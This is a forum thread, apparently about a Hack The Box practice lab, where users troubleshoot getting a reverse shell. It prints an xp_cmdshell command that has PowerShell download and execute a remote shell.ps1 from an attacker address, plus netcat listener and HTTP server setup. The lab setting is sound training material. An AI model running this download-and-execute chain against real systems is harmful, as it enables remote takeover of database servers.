No connection could be made because the target machine - actively refused it [ Starting Point ]

SQL> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.106/shell.ps1");"
output


New-Object : Exception calling “.ctor” with “2” argument(s): "No connection could be made because the target machine

actively refused it 10.10.14.106:443"




What am I doing wrong? :neutral:

https://imgur.com/cxRJGof.png (shell.ps1)

I’m having the same error here; files (shell.ps1) have the correct ip (for myself which I got from ifconfig) and the script also has the correct IP, port is listening (port 443) the ufw has the rule added, I can see the successful request from the python server for the file but it sends the same error than he does.

ok i have my first flag ahahahah…
Solution: i have remove command ufw… and open in a new terminal this:
sudo nc -lvnp 443

Type your comment> @misentomanuel said:

ok i have my first flag ahahahah…
Solution: i have remove command ufw… and open in a new terminal this:
sudo nc -lvnp 443

So, Uninstalled ufw? is that what’s refusing the connection?

Type your comment> @Katorea132 said:

Type your comment> @misentomanuel said:

ok i have my first flag ahahahah…
Solution: i have remove command ufw… and open in a new terminal this:
sudo nc -lvnp 443

So, Uninstalled ufw? is that what’s refusing the connection?

Open in two different terminal:
python3 -m http.server 80
and
nc -lvnp 443

ufw allow from 10.10.10.27 proto tcp to any port 80,443 <— this is not needed

Hello I’m having the same error I’ve run the commands in separate windows i can even see the connection on both http and nc but still having this error please help

you have to combine the lines into one line, becareful the spaces

in the file “shell.ps1”, you have to combine the lines into one line, becareful the spaces

@UserInactive said:

https://imgur.com/cxRJGof.png (shell.ps1)

Hello and thank you for your answer, unfortunatly I already did it into one line and the error is still here any other suggestions?

Ok I solved it! just needed to start typing in the nc window to get the shell :wink: